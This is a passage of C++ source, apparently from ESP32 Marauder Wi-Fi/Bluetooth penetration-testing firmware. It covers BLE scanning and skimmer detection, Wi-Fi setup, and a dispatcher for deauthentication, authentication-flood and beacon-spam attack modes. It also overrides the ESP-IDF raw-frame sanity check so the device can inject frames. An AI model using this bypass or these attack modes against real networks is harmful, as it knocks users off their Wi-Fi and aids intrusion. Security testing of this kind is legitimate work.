WiFiScan.cpp 108 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057305830593060306130623063306430653066306730683069307030713072307330743075307630773078307930803081308230833084308530863087308830893090309130923093309430953096309730983099310031013102310331043105310631073108310931103111311231133114311531163117311831193120312131223123312431253126312731283129313031313132313331343135313631373138313931403141314231433144314531463147314831493150315131523153315431553156315731583159316031613162316331643165316631673168316931703171317231733174317531763177317831793180318131823183318431853186318731883189319031913192319331943195319631973198319932003201320232033204320532063207320832093210321132123213321432153216321732183219322032213222322332243225322632273228322932303231323232333234323532363237323832393240324132423243324432453246324732483249325032513252325332543255325632573258325932603261326232633264326532663267326832693270327132723273327432753276327732783279328032813282328332843285328632873288328932903291329232933294329532963297329832993300330133023303330433053306330733083309331033113312331333143315331633173318331933203321332233233324332533263327332833293330333133323333333433353336333733383339334033413342334333443345334633473348334933503351335233533354335533563357335833593360336133623363336433653366336733683369337033713372337333743375337633773378337933803381338233833384
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_RAW_CAPTURE)
  242. RunRawScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  246. RunAPScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_PWN)
  248. RunPwnScan(scan_mode, color);
  249. else if (scan_mode == WIFI_SCAN_DEAUTH)
  250. RunDeauthScan(scan_mode, color);
  251. else if (scan_mode == WIFI_PACKET_MONITOR) {
  252. #ifdef HAS_SCREEN
  253. RunPacketMonitor(scan_mode, color);
  254. #endif
  255. }
  256. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  258. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  260. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  261. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  262. else if (scan_mode == WIFI_ATTACK_AUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  264. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  265. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  266. else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL)
  267. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  268. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  269. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  270. else if (scan_mode == BT_SCAN_ALL) {
  271. #ifdef HAS_BT
  272. RunBluetoothScan(scan_mode, color);
  273. #endif
  274. }
  275. else if (scan_mode == BT_SCAN_SKIMMERS) {
  276. #ifdef HAS_BT
  277. RunBluetoothScan(scan_mode, color);
  278. #endif
  279. }
  280. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  281. RunEspressifScan(scan_mode, color);
  282. else if (scan_mode == LV_JOIN_WIFI) {
  283. #ifdef HAS_SCREEN
  284. RunLvJoinWiFi(scan_mode, color);
  285. #endif
  286. }
  287. else if (scan_mode == LV_ADD_SSID) {
  288. #ifdef HAS_SCREEN
  289. RunLvJoinWiFi(scan_mode, color);
  290. #endif
  291. }
  292. WiFiScan::currentScanMode = scan_mode;
  293. }
  294. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  295. // Common wifi attack configurations
  296. #ifdef HAS_SCREEN
  297. display_obj.TOP_FIXED_AREA_2 = 48;
  298. display_obj.tteBar = true;
  299. display_obj.print_delay_1 = 15;
  300. display_obj.print_delay_2 = 10;
  301. display_obj.initScrollValues(true);
  302. display_obj.tft.setTextWrap(false);
  303. display_obj.tft.setTextColor(TFT_BLACK, color);
  304. display_obj.tft.fillRect(0,16,240,16, color);
  305. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  306. display_obj.touchToExit();
  307. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  308. #endif
  309. packets_sent = 0;
  310. esp_wifi_init(&cfg);
  311. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  312. esp_wifi_set_mode(WIFI_AP_STA);
  313. esp_wifi_start();
  314. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  315. //WiFi.mode(WIFI_AP_STA);
  316. //esp_wifi_init(&cfg);
  317. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  318. //esp_wifi_set_mode(WIFI_AP_STA);
  319. //esp_wifi_start();
  320. //esp_wifi_set_promiscuous_filter(NULL);
  321. esp_wifi_set_promiscuous(true);
  322. esp_wifi_set_max_tx_power(82);
  323. this->wifi_initialized = true;
  324. #ifdef MARAUDER_FLIPPER
  325. flipper_led.attackLED();
  326. #else
  327. led_obj.setMode(MODE_ATTACK);
  328. #endif
  329. initTime = millis();
  330. }
  331. bool WiFiScan::shutdownWiFi() {
  332. if (this->wifi_initialized) {
  333. esp_wifi_set_promiscuous(false);
  334. WiFi.disconnect();
  335. WiFi.mode(WIFI_OFF);
  336. dst_mac = "ff:ff:ff:ff:ff:ff";
  337. esp_wifi_set_mode(WIFI_MODE_NULL);
  338. esp_wifi_stop();
  339. esp_wifi_deinit();
  340. #ifdef MARAUDER_FLIPPER
  341. flipper_led.offLED();
  342. #else
  343. led_obj.setMode(MODE_OFF);
  344. #endif
  345. this->wifi_initialized = false;
  346. return true;
  347. }
  348. else {
  349. return false;
  350. }
  351. }
  352. bool WiFiScan::shutdownBLE() {
  353. #ifdef HAS_BT
  354. if (this->ble_initialized) {
  355. pBLEScan->stop();
  356. pBLEScan->clearResults();
  357. BLEDevice::deinit();
  358. #ifdef MARAUDER_FLIPPER
  359. flipper_led.offLED();
  360. #else
  361. led_obj.setMode(MODE_OFF);
  362. #endif
  363. this->ble_initialized = false;
  364. return true;
  365. }
  366. else {
  367. return false;
  368. }
  369. #endif
  370. return true;
  371. }
  372. // Function to stop all wifi scans
  373. void WiFiScan::StopScan(uint8_t scan_mode)
  374. {
  375. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  376. (currentScanMode == WIFI_SCAN_AP) ||
  377. (currentScanMode == WIFI_SCAN_RAW_CAPTURE) ||
  378. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  379. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  380. (currentScanMode == WIFI_SCAN_PWN) ||
  381. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  382. (currentScanMode == WIFI_SCAN_EAPOL) ||
  383. (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL) ||
  384. (currentScanMode == WIFI_SCAN_ALL) ||
  385. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  386. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  387. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  388. (currentScanMode == WIFI_ATTACK_AUTH) ||
  389. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  390. (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) ||
  391. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  392. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  393. (currentScanMode == WIFI_PACKET_MONITOR) ||
  394. (currentScanMode == LV_JOIN_WIFI))
  395. {
  396. this->shutdownWiFi();
  397. }
  398. else if ((currentScanMode == BT_SCAN_ALL) ||
  399. (currentScanMode == BT_SCAN_SKIMMERS))
  400. {
  401. #ifdef HAS_BT
  402. this->shutdownBLE();
  403. #endif
  404. }
  405. #ifdef HAS_SCREEN
  406. display_obj.display_buffer->clear();
  407. #ifdef SCREEN_BUFFER
  408. display_obj.screen_buffer->clear();
  409. #endif
  410. //Serial.print("display_buffer->size(): ");
  411. Serial.println(display_obj.display_buffer->size());
  412. display_obj.tteBar = false;
  413. #endif
  414. }
  415. String WiFiScan::getStaMAC()
  416. {
  417. char *buf;
  418. uint8_t mac[6];
  419. char macAddrChr[18] = {0};
  420. esp_wifi_init(&cfg);
  421. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  422. esp_wifi_set_mode(WIFI_MODE_NULL);
  423. esp_wifi_start();
  424. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  425. this->wifi_initialized = true;
  426. sprintf(macAddrChr,
  427. "%02X:%02X:%02X:%02X:%02X:%02X",
  428. mac[0],
  429. mac[1],
  430. mac[2],
  431. mac[3],
  432. mac[4],
  433. mac[5]);
  434. this->shutdownWiFi();
  435. return String(macAddrChr);
  436. }
  437. String WiFiScan::getApMAC()
  438. {
  439. char *buf;
  440. uint8_t mac[6];
  441. char macAddrChr[18] = {0};
  442. esp_wifi_init(&cfg);
  443. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  444. esp_wifi_set_mode(WIFI_MODE_NULL);
  445. esp_wifi_start();
  446. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  447. this->wifi_initialized = true;
  448. sprintf(macAddrChr,
  449. "%02X:%02X:%02X:%02X:%02X:%02X",
  450. mac[0],
  451. mac[1],
  452. mac[2],
  453. mac[3],
  454. mac[4],
  455. mac[5]);
  456. this->shutdownWiFi();
  457. return String(macAddrChr);
  458. }
  459. String WiFiScan::freeRAM()
  460. {
  461. char s[150];
  462. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  463. this->free_ram = String(esp_get_free_heap_size());
  464. return String(s);
  465. }
  466. // Function to start running a beacon scan
  467. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  468. {
  469. sd_obj.openCapture("ap");
  470. #ifdef MARAUDER_FLIPPER
  471. flipper_led.sniffLED();
  472. #else
  473. led_obj.setMode(MODE_SNIFF);
  474. #endif
  475. Serial.println(text_table4[9] + (String)access_points->size());
  476. #ifdef HAS_SCREEN
  477. display_obj.TOP_FIXED_AREA_2 = 48;
  478. display_obj.tteBar = true;
  479. display_obj.print_delay_1 = 15;
  480. display_obj.print_delay_2 = 10;
  481. display_obj.initScrollValues(true);
  482. display_obj.tft.setTextWrap(false);
  483. display_obj.tft.setTextColor(TFT_WHITE, color);
  484. #ifndef MARAUDER_MINI
  485. display_obj.tft.fillRect(0,16,240,16, color);
  486. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  487. display_obj.touchToExit();
  488. #endif
  489. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  490. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  491. #endif
  492. esp_wifi_init(&cfg);
  493. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  494. esp_wifi_set_mode(WIFI_MODE_NULL);
  495. esp_wifi_start();
  496. esp_wifi_set_promiscuous(true);
  497. esp_wifi_set_promiscuous_filter(&filt);
  498. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  499. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  500. //else
  501. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  502. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  503. this->wifi_initialized = true;
  504. initTime = millis();
  505. }
  506. #ifdef HAS_SCREEN
  507. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  508. display_obj.tft.init();
  509. display_obj.tft.setRotation(1);
  510. #ifdef TFT_SHIELD
  511. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  512. Serial.println("Using TFT Shield");
  513. #else if defined(TFT_DIY)
  514. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  515. Serial.println("Using TFT DIY");
  516. #endif
  517. display_obj.tft.setTouch(calData);
  518. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  519. lv_disp_load_scr(scr);
  520. }
  521. #endif
  522. void WiFiScan::RunClearAPs() {
  523. #ifdef HAS_SCREEN
  524. display_obj.tft.setTextWrap(false);
  525. display_obj.tft.setFreeFont(NULL);
  526. display_obj.tft.setCursor(0, 100);
  527. display_obj.tft.setTextSize(1);
  528. display_obj.tft.setTextColor(TFT_CYAN);
  529. display_obj.tft.println(F(text_table4[9]));
  530. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  531. #else
  532. this->clearAPs();
  533. #endif
  534. }
  535. void WiFiScan::RunClearSSIDs() {
  536. #ifdef HAS_SCREEN
  537. display_obj.tft.setTextWrap(false);
  538. display_obj.tft.setFreeFont(NULL);
  539. display_obj.tft.setCursor(0, 100);
  540. display_obj.tft.setTextSize(1);
  541. display_obj.tft.setTextColor(TFT_CYAN);
  542. display_obj.tft.println(F(text_table4[11]));
  543. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  544. #else
  545. this->clearSSIDs();
  546. #endif
  547. }
  548. void WiFiScan::RunGenerateSSIDs(int count) {
  549. #ifdef HAS_SCREEN
  550. display_obj.tft.setTextWrap(false);
  551. display_obj.tft.setFreeFont(NULL);
  552. display_obj.tft.setCursor(0, 100);
  553. display_obj.tft.setTextSize(1);
  554. display_obj.tft.setTextColor(TFT_CYAN);
  555. display_obj.tft.println(F(text_table4[13]));
  556. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  557. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  558. #else
  559. this->generateSSIDs(count);
  560. #endif
  561. }
  562. void WiFiScan::RunShutdownWiFi() {
  563. #ifdef HAS_SCREEN
  564. display_obj.tft.setTextWrap(false);
  565. display_obj.tft.setFreeFont(NULL);
  566. display_obj.tft.setCursor(0, 100);
  567. display_obj.tft.setTextSize(1);
  568. display_obj.tft.setTextColor(TFT_CYAN);
  569. display_obj.tft.print(F(text_table4[16]));
  570. #endif
  571. if (this->wifi_initialized) {
  572. this->shutdownWiFi();
  573. #ifdef HAS_SCREEN
  574. display_obj.tft.setTextColor(TFT_GREEN);
  575. display_obj.tft.println(F("OK"));
  576. #endif
  577. }
  578. else {
  579. #ifdef HAS_SCREEN
  580. display_obj.tft.setTextColor(TFT_RED);
